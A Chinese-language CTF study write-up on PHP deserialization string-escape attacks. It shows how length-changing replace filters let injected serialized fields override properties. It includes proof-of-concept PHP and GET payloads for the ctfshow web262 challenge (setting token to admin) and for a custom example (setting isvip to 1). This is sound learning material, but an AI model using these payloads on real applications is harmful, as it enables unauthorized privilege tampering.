最近在刷ctfshow的web入门反序列化题目时,正好遇到了字符串逃逸的问题,就跟着群主的讲解视频和网上大佬的文章来学习一下。
PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
看如下代码:
class a{
public $a = "shyshy";
public $b = "nb666";
}
$x = new a();
echo serialize($x);
//结果为 O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}
echo '
';
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}';
var_dump(unserialize($y));
最后反序列化的结果为
因为是根据长度来判断内容,所以会在长度符合后的第一个}
结束
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}6";}';
var_dump(unserialize($y));
当字符串和前面的长度不对应时,就会报错
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:6:"nb666";}'; // 长度改为6
var_dump(unserialize($y));
下面开始逃逸,能够逃逸的特点一般是题目中都有替换函数,将一些关键词替换成为另一个词,从而造成字符串的长度增加
或减少
,而php总是先进行序列化操作,再去替换字符串。
看下面的代码
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
$this->isVIP=0;
}
}
function filter($s){
return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
echo serialize($u);
输出为O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
用过滤函数后
$us = filter($u_seri);
echo $us;
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
两者对比,发现admin已经被替换成hacker,但是字符串长度没有变,还是5
,这就逃逸出来了一个字符。
现在想要将isVIP的值改为1,首先,可以将admin的值改为admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
,这样可以使得在反序列化时,到这里就成功闭合,从而舍弃后面的字符串。
但是因为admin变长,前面的长度却还显示的是原来的,这就导致运行后会报错。这时就要借助过滤函数让字符串变长的作用。(刚刚添加的字符串长度为47)
过滤函数每次替换后,都会让字符串字母+1,也就是需要47个admin来填充
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$u_seri = serialize($u);
$us = filter($u_seri);
echo $us;
输出结果:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
验证一下长度
再来看最后结果
发现成功的让isVIP变成了1
再看一道反序列化导致字符串变长的题,是CTFshow web入门的web262
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这里会把字符串中的fuck
替换为loveU
,多出来一个字符。
题目中给的提示,还有一个message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
开始分析
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg = new message('1','1','fuck');
$msg_1 = serialize($msg);
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
上面是在函数过滤前,下面是函数过滤后
$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
可以看到逃逸出一个字符。那么这题就是要把类中$token
的值由user换成admin
,按照上面的例子
";s:5:"token";s:5:"admin";}
完整poc:
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg = new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
echo $msg_2;
验证一下,发现逃逸成功,token=admin
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php
获取flag
写一个简单的代码
highlight_file(__FILE__);
class web{
public $username;
public $password;
public $isvip = '0';
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
}
}
$username = $_GET[u];
$password = $_GET[p];
function filter($msg){
return str_replace('shy','',$msg);
}
$msg = new web($username,$password);
$msg_1 = serialize($msg);
echo $msg_1;
echo '
';
echo '
';
$msg_2 = filter($msg_1);
echo $msg_2;
echo '
';
echo '
';
$msg_3 = unserialize($msg_2);
var_dump($msg_3);
目的是让isvip的值由0变为1。在输入普通字符后,结果正常
在输入一个shy后,被置换为空,同时逃逸出三个字符
那么想要让isvip的值为1,就要构造如下字符串
"s:5:"isvip";s:1:"1";}
长度为22,先输入一个shy让反序列化不正常
那么红框框起来的就变为username的值,那么可以让这中间的";s:8:"password";s:29:"123456
全部变成username的值,再自己添加一个password,使变量的数量保持为3,就可以造成逃逸。
由于长度是29,无法整除3,所以改成1234567,此时长度为30,共需要10个shy,吃掉30个字符。然后添加";s:8:"password";s:6:"123456
作为password序列化的内容。
如下图,可以看到成功的把isvip的值变为1
payload:
?u=shyshyshyshyshyshyshyshyshyshy&p=1234567";s:8:"password";s:6:"123456";s:5:"isvip";s:1:"1";}